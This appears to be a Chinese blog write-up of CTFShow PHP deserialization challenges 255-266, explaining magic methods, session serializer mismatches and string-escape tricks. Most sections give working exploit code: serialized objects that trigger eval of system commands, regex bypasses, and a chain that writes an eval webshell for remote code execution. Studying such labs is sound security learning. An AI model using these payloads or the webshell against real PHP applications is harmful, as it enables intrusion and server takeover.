CTFShow 反序列化 Web 255-266
CTFShow 反序列化 255-266
漏洞原理
未队用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等后果。
触发条件
unserialize函数的参数、变量可控,php文件中存在可利用的类,类中有魔术方法
常见魔术方法
__sleep() //在对象被序列化之前运行
__wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符是会绕过)
__construct() //当对象被创建时,会触发进行初始化
__destruct() //对象被销毁时触发
__toString(): //当一个对象被当作字符串使用时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据(不可访问的属性包括:1.属性是私有型。2.类中不存在的成员变量)
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试以调用函数的方式调用一个对象时
序列化对象:
private变量会被序列化为:\x00类名\x00变量名
protected变量会被序列化为: \x00*\x00变量名
public变量会被序列化为:变量名
Web 255
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
分析一下代码,首先通过反序列化获取对象(序列化将对象保存到字符串,反序列化将字符串恢复为对象,之后checkVip要求是true,然后执行vipOneKeyGetFlag获取flag。我们需要配合php生成代码,再向网站中写入cookie字段并传入参数就能获得flag,之后get请求传入vipOneKeyGetFlag
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
}
echo urlencode(serialize(new ctfShowUser()));
Web 256
这一题和上一题一样,只是需要改一下ctfShowUser类里面的参数,然后保证get上传参数的值和类里面一样就行了
Web 257
这一题用了__construct,__destruct()
两个魔术方法,__construct
当对象被创建的时候自动调用,对对象进行初始化。当所有的操作执行完毕之后,需要释放序列化的对象,触发__destruct()
魔术方法
我们可以再执行__constuct
的时候初始化hackDoor类,方便我们进行命令执行的利用,之后反序列化结束后,执行__destruct
,此时eval($this->code);
等价于eval(system('cat flag.php');)
<?php
error_reporting(0);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $code = "system('cat flag.php');";
public function getInfo(){
eval($this->code);
}
}
echo urlencode(serialize(new ctfShowUser()));
?>
同时username与password传入参数xxxxxx
Web 258
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
这一题多了一个过滤的条件,过滤了以字母 o
或 c
开头,后面紧跟一个冒号,然后是一个或多个数字,最后是一个冒号的字符串。可以使用+
绕过
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
public $code = "system('tac f*');";
public function getInfo(){
eval($this->code);
}
}
$a = new ctfShowUser();
$a = serialize($a);
$a = str_replace('O:','O:+',$a);#绕过正则
echo urlencode($a);
?>
Web 259
还没想明白
Web 260
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
这一题挺逗的,直接就是ctfshow=ctfshow_i_love_36D
,一开始真的觉得和序列化有关系,然后发现源码中是对它序列化,才发现可以直接传0.0
Web 261
<?php
class ctfshowvip{
public $username;
public $password;
public $code = "system('ls /');";
public function __construct($u,$p)
{
$this->username=$u;
$this->password=$p;
}__unserialize方法
public function __wakeup()#调用了__unserialize($data)方法,因为变量数量不一样,所以直接绕过了
{
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke()#无法调用这个
{
eval($this->code);
}
public function __sleep()
{
$this->username='';
$this->password='';
}
public function __unserialize($data)
{
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct()
{
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
?>
$this->code==0x36d
是弱类型比较,而且0x36d没有引号,可以使用10进制绕过,所以我们只要让$this->username=877.php
就行了因为__sleep() //在对象被序列化之前运行
所以我们不能直接在变量处赋值,但是可以在__construct
魔术方法处给变量赋值
<?php
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u = '877.php',$p = "<?php echo system('tac /f*');?>"){
$this->username=$u;
$this->password=$p;
}
}
echo urlencode(serialize(new ctfshowvip()));
?>
传值后查看877.php
Web 262
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
看了好久也没有发现可以操作的地方,dirsearch也扫不出东西,去看别人的wp发现在注释里面有个message.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
法一
直接上传序列化token=admin
<?php
class message{
public $token='admin';
}
echo base64_encode(serialize(new message()));
法二:字符逃逸
$umsg = str_replace('fuck', 'loveU', serialize($msg));
str_replace
会将fuck
替换成loveU
,导致字符变长,所以可以使用一下字符逃逸。
原理
反序列字符串都是以";}
结束的,所以我们把";}
带入需要反序列化的字符串中,就能让反序列化提前闭合结束,后面的内容就丢弃了。在反序列化的时候php会根据所指定的字符长度去读取后边的字符。如果指定的长度s错误则反序列化就会失败
使用前提:
- php序列化后的字符串经过了替换或者修改,导致字符串长度发生变化。
- 总是先进行序列化,再进行替换修改操作。
字符长度变长
这一题就是字符串变长的情况,先上payload
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
我们需要逃逸的字符串是";s:5:"token";s:5:"admin";}
这一段
每多一个fuck就会让序列化以后的字符多一位,eg:$t=fuck
用反序列化读取变量的原则来讲,在经过修改以后to
能读到的也只有前面四位love
,后面的那个U
是读不到的,这就形成了一个字符串逃逸。当我们添加多个fuck
,每添加一个就能逃逸一个字符,那我们将逃逸的字符串的长度填充成我们要反序列化的代码长度的话那就可以控制反序列化的结果以及类里面的变量值了。
我们的逃逸内容在加上逃逸内容长度个被替换字符就能组成我们的payload
,这里填充了27个fuck
在被替换以后会增加27个字符的长度,这27个字符会填充当前需要逃逸字符串的长度,而需要逃逸的字符串则顺利的逃逸处了php反序列化中s的检查。逃逸或者说被 “顶” 出来的字符串就会被当做当前类的属性被继续执行。
Web 263
进入环境是一个登录页面,查看源码也没发现什么东西,用dirseach扫一下,扫出来www.zip
- check.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 16:59:10
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-06 19:15:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
if($GET){
$data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}
index.php
<?php /*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 16:28:37
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-06 19:21:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com */
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
} ?>
function check(){
$.ajax({
url:'check.php',
type: 'GET',
data:{
'u':$('#u').val(),
'pass':$('#pass').val()
},
success:function(data){
alert(JSON.parse(data).msg);
},
error:function(data){
alert(JSON.parse(data).msg);
} });
} </script> </body>
</html>
inc.php
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
'database_type' => 'mysql',
'database_name' => 'web',
'server' => 'localhost',
'username' => 'root',
'password' => 'root',
'charset' => 'utf8',
'port' => 3306,
'prefix' => '',
'option' => [
PDO::ATTR_CASE => PDO::CASE_NATURAL
]
]); // sql注入检查
function checkForm($str){
if(!isset($str)){
return true;
}else{
return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
}
} class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
} /*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/ function uuid()
{
$chars = md5(uniqid(mt_rand(), true));
$uuid = substr ( $chars, 0, 8 ) . '-'
. substr ( $chars, 8, 4 ) . '-'
. substr ( $chars, 12, 4 ) . '-'
. substr ( $chars, 16, 4 ) . '-'
. substr ( $chars, 20, 12 );
return $uuid ;
}
现在不知道干什么了,看一下大佬的博客,考察点php session反序列化漏洞,参考别人的博客
php的session反序列化漏洞问题
在php.ini中存在三项配置项:
session.save_path="" --设置session的存储路径
session.save_handler="" --设置用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数
session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php
以上的选项就是与PHP中的Session存储和序列话存储有关的选项。
在phpstudy组件安装中,上述配置项如下:
session.save_path="D:\phpstudy_pro\Extensions\tmp\tmp" 表明所有的session文件都是存储在\phpstudy_pro\Extensions\tmp\tmp
session.save_handler = files 表明session是以文件的方式来进行存储的
session.auto_start = 0 表明默认不启动session
session.serialize_handler = php 表明session的默认序列话引擎使用的是php序列话引擎
在上述的配置中,session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
在 php_serialize 引擎下,session文件中存储的数据为:
a:1:{s:4:"name";s:6:"spoock";}
php 引擎下文件内容为:
name|s:6:"spoock";
php_binary 引擎下文件内容为:
names:6:"spoock";
漏洞原理
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确的反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会调用会话管理器的 open 和 read 回调函数。
会话管理器可能是 PHP 默认的, 也可能是扩展提供的(SQLite 或者 Memcached 扩展), 也可能是通过
session_set_save_handler() 设定的用户自定义会话管理器。 通过 read
回调函数返回的现有会话数据(使用特殊的序列化格式存储),PHP 会自动反序列化数据并且填充 $SESSION 超级全局变量
该题产生漏洞原因
- php在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取$_SESSION数据,都会对数据序列化和反序列化,源码中有session_start的时候会读取session,从而进行反序列化.
- php . ini 中默认 session.serialize_handler 为 php_serialize,而 index.php 中将其设置为 php ,这个差异就导致了 sesssion 反序列化问题。
题解
第一次访问index.php就会产生session,之后如果limit没超过5的话,$_SESSION['limit']=base64_decode($_COOKIE['limit']);
Cookie可控,因此session就可控了。再去找一下利用点,直接找session_start,inc.php里面有session-start(),存在User类,有一个文件写入,文件名和写入的内容都可控,因此可以写马,自此反序列化链也就理顺了。
<?php
class User{
public $username;
public $password;
function __construct(){
$this->username = "1.php";
$this->password = '<?php eval($_POST[0]);?>';
}
}
echo base64_encode("|".serialize(new User()));
首先访问index.php,然后改cookie,再刷新一次index.php,再访问一次check.php,这样马就写好了,然后RCE即可。
Web 264
虽然有个session,但是好像也用不上,可以用之前的那个字符逃逸的payload,只是需要加上一个msg的cookie
Web 265
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
源码的大致意思是要让一个随机token值和password相等,这个mt_rand不好预测(主要是我也不知道怎么预测),尝试引用的方法,将password赋值为token的引用
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->password = &$this->token;
}
}
$a = new ctfshowAdmin();
echo (serialize($a));
Web 266
$cs = file_get_contents('php://input');
一眼post传参
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
有一个正则,序列化中的大小写不敏感,可以改一下字母大小写绕过
O:7:"ctFshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}
还看到一种方法:破坏结构进行析构,传入一个破坏了反序列化字符串结构的字符串进去,使得,即使异常了,也会析构。
O:7:"ctFshow":2:{}
感觉好牛,就是不知道原理是什么样
CTFShow 反序列化 Web 255-266的更多相关文章
- 关于CTFshow中Web入门42-54
0x00前记 终于把学校上学期的期末考试考完了,刚好复习的时候跟着群里的师傅写了ctfshow上Web入门的42-54的题目,其中有很多的坑,但是收获也是很多的,这里做一下总结吧!给自己挖了很多的 ...
- ctfshow之Web入门刷题记(从89开始,持续更新)
0x01Web89-99PHP特性payload Web89 include("flag.php"); highlight_file(__FILE__); if(isset($_G ...
- ctfshow的web入门171
web入门171 看到这个查询语句,我们可以进行相关操作 $sql = "select username,password from user where username !='flag' ...
- ctfshow_web入门 反序列化(254~266)
要是没接触过的师傅们,可以先看看这个 web 254 这个题没有考什么,get方式传入payload即可,这里xxxxxx,就是6gex而已 payload: ?username=xxxxxx& ...
- ctfshow web入门部分题目 (更新中)
CTFSHOW(WEB) web入门 给她 1 参考文档 https://blog.csdn.net/weixin_51412071/article/details/124270277 查看链接 sq ...
- ES6知识点大汇总
1 //1.搭建ES6的开发环境: 2 let a=1; 3 console.log(a); 4 //2.var 声明的是全局变量 全局变量会污染外部的区块 5 //let 局部变量 6 //cons ...
- 使用Maven命令行快速创建项目骨架(archetype)
> mvn archetype:generate 接下来就会输出一些列带索引变化的archetype项可供我们选择,然后提示我们选择一个编号,可以直接回车选择默认的编号(392),然后就跟着 ...
- ctfshow_web入门 PHP特性
PHP特性 这里以半做题,半学习为主,所以就显得比较啰嗦 阿巴阿巴,但是实际上,写得比较水,等过一段时间再总结一下 比较深刻的印象是:下一个手册,多看手册 从web135还是几开始,就是看的这个师傅的 ...
- iptables rule
和H3C中的acl很像,或者就是一会事,这就是不知道底层的缺陷,形式一变,所有的积累都浮云了 参考准确的说copy from http://www.ibm.com/developerworks/cn/ ...
- html5 文件拖拽上传
本文首先发表在 码蜂笔记 : http://coderbee.net/index.php/web/20130703/266 html5 文件拖拽上传是个老话题了,网上有很多例子,我一开始的代码也是网 ...
随机推荐
- python之自动化连连看脚本-第一关不动-小记
(如想转载,请联系博主或贴上本博地址) 仅供学习python之用,勿用做商业用途.运行环境为1920*1080屏幕,python3.7,win7,谷歌浏览器版本 75.0.3770.100. 参考ht ...
- Mybatis-plus常见报错
1.提示数据库(表)不存在,如图: 原因:mybatis-plus默认查询的表名字为实体类的名字User,并转小写. 解决:添加注解@TableName设置表名
- egret 当前运行环境
if(egret.Capabilities.runtimeType == egret.RuntimeType.WXGAME){}
- IPAD变成电脑的副屏
IPAD变成电脑的副屏方法一:把平板电脑变成显示器:Splashtop Wired XDisplayhttps://www.splashtop.cn/cn/wiredxdisplay方法二:space ...
- Java笔记第十二弹
Lambda表达式的标准格式 三要素:形式参数.箭头.代码块 格式:(形式参数)->(代码块) 形式参数:如果有多个参数,参数之间用逗号隔开:如果没有参数,留空即可 ->代表指向动作 La ...
- 《程序员的自我修养》学习笔记——不一样的hello world【第四弹】
不一样的hello world Linux 的系统调用 通过glibc提供的库函数 glibc 是 Linux 下使用的开源的标准 C 库,它是 GNU 发布的 libc 库,即运行时库.glibc ...
- 做bad apple第二步: python如何将视频变成一帧帧的图片,如何将一帧帧的图片转为视频
直接上代码 """视频转图片""" port cv2def getphoto(video_in, video_save): cap = cv ...
- java注解与反射--2
java注解与反射--2 反射:java.Reflection 因为反射,使java具有了一定的动态性. java反射机制概述 动态语言: 是一类在运行时可以改变其结构的语言:例如新的函数.对象.甚至 ...
- Redis 缓存雪崩 |击穿 |穿透 概念及解决方案
一.雪崩 1.概念 指某一时间段,缓存集中过期失效,无数的请求绕开缓存,直接访问数据库. 2.解决方案 让redis数据永不过期,这种方式最可靠的.最安全的,但占用空间,内存消耗大,并且不能保持数据 ...
- 常用ADB命令使用方法
移动端操作流程 在设置中找到关于手机(或关于平板电脑) 连续点击版本号5次 在系统和更新中点击开发者选项 打开USB调试功能 PC端操作流程 打开cmd或powershell 移动到adb.exe所在 ...